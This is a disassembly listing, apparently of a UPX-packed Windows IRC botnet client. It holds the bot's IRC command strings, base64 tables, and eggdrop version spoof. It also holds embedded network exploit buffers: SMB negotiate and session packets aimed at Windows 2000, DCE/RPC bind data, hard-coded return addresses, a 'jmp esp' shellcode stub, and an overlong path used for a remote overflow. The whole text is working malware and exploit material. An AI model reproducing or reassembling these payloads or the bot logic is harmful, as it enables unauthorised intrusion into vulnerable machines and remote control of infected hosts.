		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 3351E90h			dd 2 dup(0)
dword_419788	dd 3290h			align 10h
dword_419790	dd 2C45458h			dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 51F0B7A1h			dd 3 dup(0)
dword_4197B4	dd 26C8CE80h			align 10h
dword_4197C0	dd 26B60h			align 8
dword_4197C8	dd 2C684E80h			dd 2 dup(0)
dword_4197D4	dd 2C558h			dd 0
dword_4197DC	dd 29E403A0h			dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 17408308h			dd 2 dup(0)
dword_419818	dd 172A8h			align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 0B2ECE0h			dd 2 dup(0)
dword_419844	dd 2343003h, 2037325haHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
		align 4
dword_419898	dd 465F10ECh			dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 11BA18h			align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch							; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 16A18h			dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 0E3E403A8h			dd 3 dup(0)
dword_41999C	dd 546C2A8h			dd 2 dup(0)
dword_4199A8	dd 4618h			align 10h
dword_4199B0	dd 0A42278h			dd 2 dup(0)
dword_4199BC	dd 2A860h			dd 0
dword_4199C4	dd 56EC267Eh			dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 137128h			align 10h
dword_419A10	dd 23901E20h			dd 2 dup(0)
dword_419A1C	dd 15E10h			dd 0
dword_419A24	dd 0A2C60h			align 10h
dword_419A30	dd 74A60h			dd 2 dup(0)
dword_419A3C	dd 45444F4Dh, 732520hdword_419A44	dd 159790h			align 10h
dword_419A50	dd 0D5919B11h			align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
dword_419A7C	dd 5136F8h			dd 2 dup(0)
dword_419A88	dd 221F8h			align 10h
dword_419A90	dd 50C1B50h			dd 2 dup(0)
dword_419A9C	dd 2C338h			dd 0
dword_419AA4	dd 0B04290h			align 10h
dword_419AB0	dd 54524150h, 732520hdword_419AB8	dd 14FE20h			dd 2 dup(0)
dword_419AC4	dd 11AA88h			align 10h
dword_419AD0	dd 4E494F4Ah, 20732520h, 7325h					; sub_40A9CF+10FAo ...
dword_419ADC	dd 146288h			dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 4729D50h			dd 2 dup(0)
dword_419B08	dd 56EB58h			dd 2 dup(0)
dword_419B14	dd 5F3750h			align 10h
dword_419B20	dd 423C479Ah			align 10h
dword_419B30	dd 23410B60h			dd 2 dup(0)
dword_419B3C	dd 9815D395h			dd 3 dup(0)
dword_419B4C	dd 4698D60h			dd 2 dup(0)
dword_419B58	dd 10DA78h			dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 77400328h			dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
dword_419BA4	dd 512EA0h			align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 20EA0h			align 8
dword_419BE8	dd 65782209h			dd 3 dup(0)
dword_419BF8	dd 109E96E7h			dd 4 dup(0)
dword_419C0C	dd 0A4053CD8h			dd 3 dup(0)
dword_419C1C	dd 162208h			dd 2 dup(0)
dword_419C28	dd 0C17A208h			dd 2 dup(0)
dword_419C34	dd 4CF2208h			align 10h
dword_419C40	dd 1480A660h			dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0dword_419C5C	dd 4B90h			dd 0
dword_419C64	dd 155864D8h			align 10h
dword_419C70	dd 22D988A0h			dd 2 dup(0)
dword_419C7C	dd 22DEDA78h			dd 2 dup(0)
dword_419C88	dd 0E53CCCE8h			dd 3 dup(0)
dword_419C98	dd 0E53CD300h			dd 3 dup(0)
dword_419CA8	dd 5561C7F9h			dd 3 dup(0)
dword_419CB8	dd 67270B61h			dd 3 dup(0)
dword_419CC8	dd 1520A0h			dd 2 dup(0)
dword_419CD4	dd 0AE1FF760h			dd 3 dup(0)
dword_419CE4	dd 2BAFD860h			align 10h
dword_419CF0	dd 15D698h			dd 2 dup(0)
dword_419CFC	dd 0B8650h			dd 2 dup(0)
dword_419D08	dd 4A38h			align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0dword_419D78	dd 2333003h, 2034B4Fh, 0dword_419D84	dd 8Ah,	0	dword_419D8C	dd 0CD818BACh, 8196F4BDh, 0D6C3D39Ah, 0FDD3F9B9h, 0C8AAE7D9h
					; DATA XREF: sub_40A9CF+790o
		dd 0E6FAEE95h, 0D8C5D3E2h, 2 dup(0)
dword_419DB0	dd 2E78970h			dd 2 dup(0)
dword_419DBC	dd 0B7B3F8D0h			dd 3 dup(0)
dword_419DCC	dd 0C2C28390h			dd 3 dup(0)
dword_419DDC	dd 0AE9D81BBh, 839E9C8Fh, 0A4E7A68Fh, 0FEBE81C3h, 0DCEAF0A0h
					; DATA XREF: sub_40A9CF+534o
		dd 0F1ECE3FEh, 2 dup(0)
dword_419DFC	dd 81BEABBDh, 98B8B5BCh, 83D299B0h, 0E2A0A3F4h,	2 dup(0)
					; DATA XREF: sub_40A9CF+448o
aKnqQxjnuXxQEBZ	db 'ߕ帚ɟËӋ٘',0
					; DATA XREF: sub_40A9CF+437o
		align 8
dword_419E48	dd 1FD30h			align 10h
dword_419E50	dd 67294FA1h			align 10h
dword_419E60	dd 67265A79h			align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 14705160h			dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h	dword_419EC4	dd 176C5160h			align 10h
dword_419ED0	dd 0AF99D8h			dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 1D17950h			dd 2 dup(0)
dword_419F04	dd 4B43494Eh, 732520h					; sub_40A9CF+EFo ...
dword_419F0C	dd 146E00h			dd 2 dup(0)
dword_419F18	dd 1A80A5D1h			dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1		dword_41A03C	dd 7373656Dh, 20656761h, 0dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Ehdword_41A0E0	dd 4950013Ah, 474Ehdword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Ehdword_41A138	dd 4556013Ah, 4F495352h, 4EhaSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43haPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0)dword_41A818	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: UPX1:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: UPX1:loc_41A8ACj
					; UPX1:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: UPX1:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: UPX1:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: UPX1:0041A8AEj
					; UPX1:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h	; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: UPX1:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h	; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: UPX1:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
